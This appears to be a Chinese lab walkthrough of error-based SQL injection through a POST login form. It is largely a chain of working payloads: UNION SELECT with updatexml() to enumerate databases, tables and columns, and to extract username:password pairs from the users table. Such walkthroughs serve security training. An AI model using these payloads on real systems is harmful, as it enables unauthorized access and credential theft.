post提交报错注入
闭合方式及注入点
利用hackbar进行注入,构造post语句
uname=aaa"passwd=bbb&Submit=Submit
页面报错,根据分析,闭合方式
"
.
确定列数
构造
uname=aaa" or 1=1 # &passwd=bbb&Submit=Submit 确定存在注入
uname=aaa" order by3
# &passwd=bbb&Submit=Submit 有报错uname=aaa" order by
2
# &passwd=bbb&Submit=Submit 无报错,列数2
回显位置
uname=aaa" union select 1,2 # &passwd=bbb&Submit=Submit
发现页面没有回显,想到前面 存在报错,想到报错注入
使用updatexml()函数来进行报错注入
查询数据库与版本等
- uname=aaa" union select 1,updatexml(1,concat('~',(select database())),3) # &passwd=bbb&Submit=Submit
数据库名- uname=aaa" union select 1,updatexml(1,concat('~',(select version())),3) # &passwd=bbb&Submit=Submit
版本
爆出所有数据库
- uname=aaa" union select 1,updatexml(1,concat('~',(select schema_name from information_schema.schemata limit
0
,1)),3) # &passwd=bbb&Submit=Submit- uname=aaa" union select 1,updatexml(1,concat('~',(select schema_name from information_schema.schemata limit
5
,1)),3) # &passwd=bbb&Submit=Submit
通过修改limit函数的值来查询所有的数据库名
爆出所有表名
- uname=aaa" union select 1,updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit
0
,1)),3) # &passwd=bbb&Submit=Submit- uname=aaa" union select 1,updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit
1
,1)),3) # &passwd=bbb&Submit=Submit- uname=aaa" union select 1,updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit
2
,1)),3) # &passwd=bbb&Submit=Submit- uname=aaa" union select 1,updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit
3
,1)),3) # &passwd=bbb&Submit=Submit
得到users
表
爆出列名
- uname=aaa" union select 1,updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit
0
,1)),3) # &passwd=bbb&Submit=Submit- uname=aaa" union select 1,updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit
1
,1)),3) # &passwd=bbb&Submit=Submit- uname=aaa" union select 1,updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit
2
,1)),3) # &passwd=bbb&Submit=Submit
得到列id,username,password
爆出数据
- uname=aaa" union select 1,updatexml(1,concat('~',(select concat(username,':',password) from security.users limit
0
,1)),3) # &passwd=bbb&Submit=Submit
修改0的值,就可以得到所有的数据
完成,